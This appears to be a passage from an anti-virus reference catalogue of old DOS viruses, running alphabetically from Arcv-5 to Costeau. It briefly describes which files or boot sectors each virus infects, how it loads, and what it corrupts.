Arcv-5 Virus

The Arcv-5 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Arcv-6 Virus

The Arcv-6 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Arcv-7 Virus

The Arcv-7 Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Arcv-8 Virus

The Arcv-8 Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Arcv-9 Virus

The Arcv-9 Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Arcv10 Virus

The Arcv10 Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Argentina Virus

The Argentina Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Arka Virus

The Arka Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts data files.

Arma Virus

The Arma Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Armagedon The Greek Virus

The Armagedon The Greek Virus is a computer virus which infects .COM files but not COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program files. If a modem is connected, the virus will attempt to dial the speaking clock in Greece.

Armagedon Virus

The Armagedon Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Arriba Virus

The Arriba Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

ASC Virus

The ASC Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Ash Virus

The Ash Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program. The virus
corrupts program or overlay files and data files and damages the file
allocation table by performing absolute disk writes when activated.

ASP-472 Virus

The ASP-472 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Astra Virus

The Astra Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program. The virus corrupts program or overlay
files and data files.

AT 144 Virus

The AT 144 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts any executed.COM program files. The virus only operates on
286 or higher processors .

AT 149 Virus

The AT 149 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts any executed.COM program files. The virus only operates on
286 or higher processors .

Atas Virus

The Atas Virus is an encrypted computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts data files.

Atas-400 Virus

The Atas-400 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Atas3321 Virus

The Atas3321 Virus is a computer virus which uses stealth techniques
to avoid detection and which infects .COM files including COMMAND.COM.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Atomic1A Virus

The Atomic1A Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Atomic1b Virus

The Atomic1b Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Atomic2A Virus

The Atomic2A Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Atomic2b Virus

The Atomic2b Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Atte-629 Virus

The Atte-629 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

August 16 Virus

The August 16 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

AusPar Virus

The AusPar Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Australian Virus

The Australian Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files and data files.

Azusa Virus

The Azusa Virus is a computer virus which infects the fixed disk boot
sector. The virus is loaded into memory by booting from an infected
disk and then affects the computer's runtime operation by disabling
the first serial (COM1) and parallel (LPT1) ports .

B-52 Virus

The B-52 Virus is a VCL generated computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program files.

B3 Virus

The B3 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

BA101 Virus

The BA101 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Back Time Virus

The Back Time Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation by running the system clock backwards and corrupts program files.

Bad Boy Virus

The Bad Boy Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Bad Brains Virus

The Bad Brains Virus is a compacted version of the HR Virus Strain B, modified by Hellraiser. It is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Bad Command Virus

The Bad Command Virus is a VCL generated computer virus which infects .COM files including COMMAND.COM by overwriting the original file with itself. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Bad Guy Virus

The Bad Guy Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Bad Sectors 1.2 Virus

The Bad Sectors 1.2 Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Bad-389 Virus

The Bad-389 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Bak Virus

The Bak Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Bamestra Virus

The Bamestra Virus is an encrypted computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Banana Virus

The Banana Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program.

Bandit Virus

The Bandit Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts data files.

Baobab 731 Virus

The Baobab 731 Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Barcelona Virus

The Barcelona Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Barrotes 2 Virus

The Barrotes 2 Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Barrotes Virus

The Barrotes Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

basedrop Virus

The basedrop Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Basil Virus

The Basil Virus is a computer virus which infects .COM and .EXE files

including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Bat Virus

The Bat Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Beaches Virus

The Beaches Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Beast Virus

The Beast Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

BeBe Virus

The BeBe Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Beeper Virus

The Beeper Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Beer Virus

The Beer Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

bell Virus

The bell Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Benoit Virus

The Benoit Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Berlin Virus

The Berlin Virus is an encrypted computer virus which infects .COM

files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Best Wishes Virus

The Best Wishes Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Beta Virus

The Beta Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Beva-32 Virus

The Beva-32 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Beva-33 Virus

The Beva-33 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Beva-96 Virus

The Beva-96 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Beware Virus

The Beware Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

BFD Virus

The BFD Virus is a computer virus which uses stealth techniques to avoid detection and which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk. The virus corrupts program or overlay files.

Big 2000 Virus

The Big 2000 Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Bit Addict Virus

The Bit Addict Virus is a computer virus which infects .COM files

including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Black Knight Virus

The Black Knight Virus is a memory resident companion computer virus
which formats drives C to F when a recognisable anti-virus product is
executed. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and destroys
data.

Black Monday Virus

The Black Monday Virus is a computer virus which infects .COM, .EXE
and overlay files including COMMAND.COM. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation, corrupts program or overlay files and
data files.

Blaze Virus

The Blaze Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Bljec Virus

The Bljec Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Blood Lust Virus

The Blood Lust Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Blood Rage Virus

The Blood Rage Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Blood Virus

The Blood Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Blood-2 Virus

The Blood-2 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files and data files.

Bloody! Virus

The Bloody! Virus is an encrypted computer virus which infects the
fixed disk partition table. The virus is loaded into memory by booting
from an infected disk and then affects the computer's runtime
operation and corrupts program or overlay files.

Bob Virus

The Bob Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Boot Killer Virus

The Boot Killer Virus is a computer virus which uses stealth
techniques to avoid detection and which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

Bouncing Dot Virus

see "Italian_Virus"

Bow Virus

The Bow Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Boys Virus

The Boys Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files and data files.

Brainy Virus

The Brainy Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Brotherhood Virus

The Brotherhood Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts data files.

Brothers Virus

The Brothers Virus is a computer virus which uses stealth techniques
to avoid detection and which infects .COM, .EXE and overlay files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Bryansk Virus

The Bryansk Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and

corrupts program or overlay files.

Bubbles 2 Virus

The Bubbles 2 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Bubbles Virus

The Bubbles Virus is an encrypted computer virus written by Admiral Bailey with the IVP virus generator, which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Bubonic Virus

The Bubonic Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Budo Virus

The Budo Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Burger Virus

The Burger Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Burghofer Virus

The Burghofer Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Busted Virus

The Busted Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Butterfly Virus

The Butterfly Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Butthole Virus

The Butthole Virus is a VCL generated encrypted computer virus which infects .COM files including COMMAND.COM by overwriting the original program with the virus . The virus is loaded into memory by executing

an infected program and then affects the computer's runtime operation
and corrupts program files.

B Ugly Virus

The B Ugly Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

C Virus

The C Virus is a computer virus which infects .COM and .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

C-A-D Virus

The C-A-D Virus is a computer virus which infects the diskette boot
sector. The virus is loaded into memory by booting from an infected
disk and then affects the computer's runtime operation by infecting
any diskette when ALT-CTRL-DELETE is pressed.

Caco-Daemon Virus

The Caco-Daemon Virus is an encrypted computer virus written by John
Tardy of the Trident organisation, which infects .COM files, including
those protected by McAfee validation code. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program files.

CAD Kill Virus

The CAD Kill Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files and data
files.

Cancer Virus

The Cancer Virus is a variant of the V-847 Virus . It is a computer
virus which infects .COM files. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program files.

Cannabis Virus

The Cannabis Virus is a computer virus which infects the fixed disk
and diskette boot sectors . The virus is loaded into memory by booting
from an infected disk and then affects the computer's runtime
operation.

Cansu Virus

The Cansu Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

Capital Virus

The Capital Virus is an encrypted computer virus which infects .COM

files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Cara Virus

The Cara Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Carioca Virus

The Carioca Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

CaroEvil Virus

The CaroEvil Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Cartuja Virus

The Cartuja Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Casc-2 Virus

The Casc-2 Virus is a VCL generated computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation by reducing the amount of RAM available and corrupts program files.

Casc1621 Virus

The Casc1621 Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program files.

Cascade Virus

The Cascade Virus is an encrypted computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Cascade/170x Virus

The Cascade/170x Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Casino Virus

The Casino Virus is a computer virus which infects .COM files

including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Casper Virus

The Casper Virus is an encrypted computer virus written by Mark Washburn which infects .COM files including COMMAND.COM. It prevents tracing by Debug. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Casteggio Virus

The Casteggio Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Catman Virus

The Catman Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Catphish Virus

The Catphish Virus is an encrypted computer virus written by Firststrike. which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Caz Virus

The Caz Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

CB-1530 Virus

The CB-1530 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

CD Virus

The CD Virus is an encrypted computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

CD-10 Virus

The CD-10 Virus is an encrypted computer virus which uses stealth techniques to avoid detection and The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Cerburus Virus

The Cerburus Virus is a computer virus which infects .COM files

including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

CFSK Virus

The CFSK Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Chad Virus

The Chad Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files. On the tenth infection the virus displays a message.

Chang Virus

The Chang Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Chaos Virus

The Chaos Virus (also called Faust Virus) is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program files.

Chaser Virus

The Chaser Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files and data files.

Chcc Virus

The Chcc Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Cheeba Virus

The Cheeba Virus is an encrypted computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Cheesy Virus

The Cheesy Virus is an MPC generated computer virus which infects .EXE files. It was written by Dark Angel of the Phalcon/Skism organisation. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Chemist Virus

The Chemist Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an

infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Chemnitz Virus

The Chemnitz Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Chile Mediera Virus

The Chile Mediera Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Chinese Blood Virus

The Chinese Blood Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Chr-869 Virus

The Chr-869 Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Chrisj13 Virus

The Chrisj13 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Christmas Tree Virus

The Christmas Tree Virus is an encrypted computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Christmas Violator Virus

The Christmas Violator Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Chromosome Glitch Virus

The Chromosome Glitch Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Chromosome Glitch2 Virus

The Chromosome Glitch2 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Chromosome Virus

The Chromosome Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Cinderella Virus

The Cinderella Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Civil Service Virus

The Civil Service Virus is a computer virus written by Marvin Giskard of Crypt Infosystems, which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Civil War II Virus

The Civil War II Virus is a computer virus written by Dark Helmet of the Trident organisation, which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program files.

Civil War III Virus

The Civil War III Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Civil War IV Virus

The Civil War IV Virus is a TPE encrypted computer virus written by Dark Helmet of the Trident organisation, which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Civil War V Virus

The Civil War V Virus is a TPE encrypted computer virus written by Dark Helmet of the Trident organisation in January 1993, which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Civil War Virus

The Civil War Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program files.

CkSum Virus

The CkSum Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts

program or overlay files.

Clint Virus

The Clint Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Clonewar 2 Virus

The Clonewar 2 Virus is a companion computer virus . The virus is
loaded into memory by executing a shadowed program.

Clonewar Virus

The Clonewar Virus is a companion computer virus . The virus is loaded
into memory by executing a shadowed program.

Clust Virus

The Clust Virus is a computer virus written by the Trident
organisation, which infects .EXE files. The virus is loaded into
memory by executing an infected program and then affects the
computer's runtime operation and corrupts program files. The virus
uses stealth routines to avoid detection, but this can also be used
against it to disinfect infected files simply by Zipping or Arjing all
EXE files on an infected disk, while the virus is active in memory and
then rebooting from a clean disk and unarchiving the files.

Coahuila Virus

The Coahuila Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

Code Zero Virus

The Code Zero Virus is a VCL generated computer virus which infects
.COM files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program files.

Coffee Shop Virus

The Coffee Shop Virus is an encrypted computer virus which infects
.COM and .EXE files. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files and data files.

Collor de Mello Virus

The Collor de Mello Virus is an encrypted computer virus which infects
.COM files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Color Virus

The Color Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files and data files.

Com16850 Virus

The Com16850 Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program.

Com2S Virus

The Com2S Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Comdex Virus

The Comdex Virus is a computer virus which infects .EXE files. When an infected file is run, Comdex copies itself to top of free memory, and modifies the memory blocks, in order to hide from memory mapping programs . Some programs may overwrite this area, causing the computer to crash.

Commentator Virus

The Commentator Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Como Virus

The Como Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then corrupts program files.

Compiler2 Virus

The Compiler2 Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Comspec Virus

The Comspec Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Comvirus

The comvirus is a computer virus written by Drew Eckhardt, which infects .COM files including COMMAND.COM only in the root directory of the diskette and only if that disk is the current drive. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Cop-Mpl Virus

The Cop-Mpl Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Copyr-ug Virus

The Copyr-ug Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Copyright Virus

The Copyright Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Coruna Virus

The Coruna Virus is an encrypted computer virus which infects the
fixed disk partition table. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation.

Coruna3 Virus

The Coruna3 Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation and
corrupts program or overlay files.

Cossiga No Grazie Virus

The Cossiga No Grazie Virus is a computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Cossiga Virus

The Cossiga Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Costeau Virus

The Costeau Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

CPXK Virus

